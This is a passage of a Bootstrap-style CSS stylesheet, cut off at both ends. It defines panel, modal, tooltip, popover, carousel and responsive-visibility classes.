a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n color: inherit;\n}\n.panel-footer {\n padding: 10px 15px;\n background-color: #f5f5f5;\n border-top: 1px solid #ddd;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n border-width: 1px 0;\n border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n border-top: 0;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n border-bottom: 0;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n border-top-width: 0;\n}\n.list-group + .panel-footer {\n border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n padding-left: 15px;\n padding-right: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n border-top-left-radius: 3px;\n border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n border-bottom-left-radius: 3px;\n border-bottom-right-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n border-top: 1px solid #ddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n border-bottom: 0;\n}\n.panel > .table-responsive {\n border: 0;\n margin-bottom: 0;\n}\n.panel-group {\n margin-bottom: 20px;\n}\n.panel-group .panel {\n margin-bottom: 0;\n border-radius: 4px;\n}\n.panel-group .panel + .panel {\n margin-top: 5px;\n}\n.panel-group .panel-heading {\n border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n border-top: 1px solid #ddd;\n}\n.panel-group .panel-footer {\n border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n border-bottom: 1px solid #ddd;\n}\n.panel-default {\n border-color: #ddd;\n}\n.panel-default > .panel-heading {\n color: #333333;\n background-color: #f5f5f5;\n border-color: #ddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ddd;\n}\n.panel-default > .panel-heading .badge {\n color: #f5f5f5;\n background-color: #333333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ddd;\n}\n.panel-primary {\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #337ab7;\n}\n.panel-success {\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n color: #3c763d;\n background-color: #dff0d8;\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n color: #dff0d8;\n background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #d6e9c6;\n}\n.panel-info {\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n color: #31708f;\n background-color: #d9edf7;\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n color: #d9edf7;\n background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #bce8f1;\n}\n.panel-warning {\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n color: #8a6d3b;\n background-color: #fcf8e3;\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n color: #fcf8e3;\n background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #faebcc;\n}\n.panel-danger {\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n color: #a94442;\n background-color: #f2dede;\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n color: #f2dede;\n background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n position: relative;\n display: block;\n height: 0;\n padding: 0;\n overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n height: 100%;\n width: 100%;\n border: 0;\n}\n.embed-responsive-16by9 {\n padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n padding-bottom: 75%;\n}\n.well {\n min-height: 20px;\n padding: 19px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border: 1px solid #e3e3e3;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.well blockquote {\n border-color: #ddd;\n border-color: rgba(0, 0, 0, 0.15);\n}\n.well-lg {\n padding: 24px;\n border-radius: 6px;\n}\n.well-sm {\n padding: 9px;\n border-radius: 3px;\n}\n.close {\n float: right;\n font-size: 21px;\n font-weight: bold;\n line-height: 1;\n color: #000;\n text-shadow: 0 1px 0 #fff;\n opacity: 0.2;\n filter: alpha(opacity=20);\n}\n.close:hover,\n.close:focus {\n color: #000;\n text-decoration: none;\n cursor: pointer;\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\nbutton.close {\n padding: 0;\n cursor: pointer;\n background: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n.modal-open {\n overflow: hidden;\n}\n.modal {\n display: none;\n overflow: hidden;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1050;\n -webkit-overflow-scrolling: touch;\n outline: 0;\n}\n.modal.fade .modal-dialog {\n -webkit-transform: translate(0, -25%);\n -ms-transform: translate(0, -25%);\n -o-transform: translate(0, -25%);\n transform: translate(0, -25%);\n -webkit-transition: -webkit-transform 0.3s ease-out;\n -moz-transition: -moz-transform 0.3s ease-out;\n -o-transition: -o-transform 0.3s ease-out;\n transition: transform 0.3s ease-out;\n}\n.modal.in .modal-dialog {\n -webkit-transform: translate(0, 0);\n -ms-transform: translate(0, 0);\n -o-transform: translate(0, 0);\n transform: translate(0, 0);\n}\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 10px;\n}\n.modal-content {\n position: relative;\n background-color: #fff;\n border: 1px solid #999;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n background-clip: padding-box;\n outline: 0;\n}\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n background-color: #000;\n}\n.modal-backdrop.fade {\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.modal-backdrop.in {\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\n.modal-header {\n padding: 15px;\n border-bottom: 1px solid #e5e5e5;\n}\n.modal-header .close {\n margin-top: -2px;\n}\n.modal-title {\n margin: 0;\n line-height: 1.42857143;\n}\n.modal-body {\n position: relative;\n padding: 15px;\n}\n.modal-footer {\n padding: 15px;\n text-align: right;\n border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n margin-left: 5px;\n margin-bottom: 0;\n}\n.modal-footer .btn-group .btn + .btn {\n margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n margin-left: 0;\n}\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n@media (min-width: 768px) {\n .modal-dialog {\n width: 600px;\n margin: 30px auto;\n }\n .modal-content {\n -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n }\n .modal-sm {\n width: 300px;\n }\n}\n@media (min-width: 992px) {\n .modal-lg {\n width: 900px;\n }\n}\n.tooltip {\n position: absolute;\n z-index: 1070;\n display: block;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n font-size: 12px;\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.tooltip.in {\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.tooltip.top {\n margin-top: -3px;\n padding: 5px 0;\n}\n.tooltip.right {\n margin-left: 3px;\n padding: 0 5px;\n}\n.tooltip.bottom {\n margin-top: 3px;\n padding: 5px 0;\n}\n.tooltip.left {\n margin-left: -3px;\n padding: 0 5px;\n}\n.tooltip-inner {\n max-width: 200px;\n padding: 3px 8px;\n color: #fff;\n text-align: center;\n background-color: #000;\n border-radius: 4px;\n}\n.tooltip-arrow {\n position: absolute;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n bottom: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.top-left .tooltip-arrow {\n bottom: 0;\n right: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.top-right .tooltip-arrow {\n bottom: 0;\n left: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.right .tooltip-arrow {\n top: 50%;\n left: 0;\n margin-top: -5px;\n border-width: 5px 5px 5px 0;\n border-right-color: #000;\n}\n.tooltip.left .tooltip-arrow {\n top: 50%;\n right: 0;\n margin-top: -5px;\n border-width: 5px 0 5px 5px;\n border-left-color: #000;\n}\n.tooltip.bottom .tooltip-arrow {\n top: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n top: 0;\n right: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n top: 0;\n left: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1060;\n display: none;\n max-width: 276px;\n padding: 1px;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n font-size: 14px;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid #ccc;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n}\n.popover.top {\n margin-top: -10px;\n}\n.popover.right {\n margin-left: 10px;\n}\n.popover.bottom {\n margin-top: 10px;\n}\n.popover.left {\n margin-left: -10px;\n}\n.popover-title {\n margin: 0;\n padding: 8px 14px;\n font-size: 14px;\n background-color: #f7f7f7;\n border-bottom: 1px solid #ebebeb;\n border-radius: 5px 5px 0 0;\n}\n.popover-content {\n padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n position: absolute;\n display: block;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.popover > .arrow {\n border-width: 11px;\n}\n.popover > .arrow:after {\n border-width: 10px;\n content: \"\";\n}\n.popover.top > .arrow {\n left: 50%;\n margin-left: -11px;\n border-bottom-width: 0;\n border-top-color: #999999;\n border-top-color: rgba(0, 0, 0, 0.25);\n bottom: -11px;\n}\n.popover.top > .arrow:after {\n content: \" \";\n bottom: 1px;\n margin-left: -10px;\n border-bottom-width: 0;\n border-top-color: #fff;\n}\n.popover.right > .arrow {\n top: 50%;\n left: -11px;\n margin-top: -11px;\n border-left-width: 0;\n border-right-color: #999999;\n border-right-color: rgba(0, 0, 0, 0.25);\n}\n.popover.right > .arrow:after {\n content: \" \";\n left: 1px;\n bottom: -10px;\n border-left-width: 0;\n border-right-color: #fff;\n}\n.popover.bottom > .arrow {\n left: 50%;\n margin-left: -11px;\n border-top-width: 0;\n border-bottom-color: #999999;\n border-bottom-color: rgba(0, 0, 0, 0.25);\n top: -11px;\n}\n.popover.bottom > .arrow:after {\n content: \" \";\n top: 1px;\n margin-left: -10px;\n border-top-width: 0;\n border-bottom-color: #fff;\n}\n.popover.left > .arrow {\n top: 50%;\n right: -11px;\n margin-top: -11px;\n border-right-width: 0;\n border-left-color: #999999;\n border-left-color: rgba(0, 0, 0, 0.25);\n}\n.popover.left > .arrow:after {\n content: \" \";\n right: 1px;\n border-right-width: 0;\n border-left-color: #fff;\n bottom: -10px;\n}\n.carousel {\n position: relative;\n}\n.carousel-inner {\n position: relative;\n overflow: hidden;\n width: 100%;\n}\n.carousel-inner > .item {\n display: none;\n position: relative;\n -webkit-transition: 0.6s ease-in-out left;\n -o-transition: 0.6s ease-in-out left;\n transition: 0.6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n .carousel-inner > .item {\n -webkit-transition: -webkit-transform 0.6s ease-in-out;\n -moz-transition: -moz-transform 0.6s ease-in-out;\n -o-transition: -o-transform 0.6s ease-in-out;\n transition: transform 0.6s ease-in-out;\n -webkit-backface-visibility: hidden;\n -moz-backface-visibility: hidden;\n backface-visibility: hidden;\n -webkit-perspective: 1000px;\n -moz-perspective: 1000px;\n perspective: 1000px;\n }\n .carousel-inner > .item.next,\n .carousel-inner > .item.active.right {\n -webkit-transform: translate3d(100%, 0, 0);\n transform: translate3d(100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.prev,\n .carousel-inner > .item.active.left {\n -webkit-transform: translate3d(-100%, 0, 0);\n transform: translate3d(-100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.next.left,\n .carousel-inner > .item.prev.right,\n .carousel-inner > .item.active {\n -webkit-transform: translate3d(0, 0, 0);\n transform: translate3d(0, 0, 0);\n left: 0;\n }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n display: block;\n}\n.carousel-inner > .active {\n left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n position: absolute;\n top: 0;\n width: 100%;\n}\n.carousel-inner > .next {\n left: 100%;\n}\n.carousel-inner > .prev {\n left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n left: 0;\n}\n.carousel-inner > .active.left {\n left: -100%;\n}\n.carousel-inner > .active.right {\n left: 100%;\n}\n.carousel-control {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n width: 15%;\n opacity: 0.5;\n filter: alpha(opacity=50);\n font-size: 20px;\n color: #fff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n background-color: rgba(0, 0, 0, 0);\n}\n.carousel-control.left {\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n}\n.carousel-control.right {\n left: auto;\n right: 0;\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n}\n.carousel-control:hover,\n.carousel-control:focus {\n outline: 0;\n color: #fff;\n text-decoration: none;\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n position: absolute;\n top: 50%;\n margin-top: -10px;\n z-index: 5;\n display: inline-block;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n left: 50%;\n margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n right: 50%;\n margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n width: 20px;\n height: 20px;\n line-height: 1;\n font-family: serif;\n}\n.carousel-control .icon-prev:before {\n content: '\\2039';\n}\n.carousel-control .icon-next:before {\n content: '\\203a';\n}\n.carousel-indicators {\n position: absolute;\n bottom: 10px;\n left: 50%;\n z-index: 15;\n width: 60%;\n margin-left: -30%;\n padding-left: 0;\n list-style: none;\n text-align: center;\n}\n.carousel-indicators li {\n display: inline-block;\n width: 10px;\n height: 10px;\n margin: 1px;\n text-indent: -999px;\n border: 1px solid #fff;\n border-radius: 10px;\n cursor: pointer;\n background-color: #000 \\9;\n background-color: rgba(0, 0, 0, 0);\n}\n.carousel-indicators .active {\n margin: 0;\n width: 12px;\n height: 12px;\n background-color: #fff;\n}\n.carousel-caption {\n position: absolute;\n left: 15%;\n right: 15%;\n bottom: 20px;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: #fff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n}\n.carousel-caption .btn {\n text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-prev,\n .carousel-control .icon-next {\n width: 30px;\n height: 30px;\n margin-top: -10px;\n font-size: 30px;\n }\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .icon-prev {\n margin-left: -10px;\n }\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-next {\n margin-right: -10px;\n }\n .carousel-caption {\n left: 20%;\n right: 20%;\n padding-bottom: 30px;\n }\n .carousel-indicators {\n bottom: 20px;\n }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-header:before,\n.modal-header:after,\n.modal-footer:before,\n.modal-footer:after {\n content: \" \";\n display: table;\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-header:after,\n.modal-footer:after {\n clear: both;\n}\n.center-block {\n display: block;\n margin-left: auto;\n margin-right: auto;\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n.hidden {\n display: none !important;\n}\n.affix {\n position: fixed;\n}\n@-ms-viewport {\n width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n display: none !important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n display: none !important;\n}\n@media (max-width: 767px) {\n .visible-xs {\n display: block !important;\n }\n table.visible-xs {\n display: table !important;\n }\n tr.visible-xs {\n display: table-row !important;\n }\n th.visible-xs,\n td.visible-xs {\n display: table-cell !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-block {\n display: block !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline {\n display: inline !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm {\n display: block !important;\n }\n table.visible-sm {\n display: table !important;\n }\n tr.visible-sm {\n display: table-row !important;\n }\n th.visible-sm,\n td.visible-sm {\n display: table-cell !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-block {\n display: block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline {\n display: inline !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md {\n display: block !important;\n }\n table.visible-md {\n display: table !important;\n }\n tr.visible-md {\n display: table-row !important;\n }\n th.visible-md,\n td.visible-md {\n display: table-cell !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-block {\n display: block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline {\n display: inline !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg {\n display: block !important;\n }\n table.visible-lg {\n display: table !important;\n }\n tr.visible-lg {\n display: table-row !important;\n }\n th.visible-lg,\n td.visible-lg {\n display: table-cell !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-block {\n display: block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline {\n display: inline !important;\n }\n}\n@media (min-width: 1200px) {\n 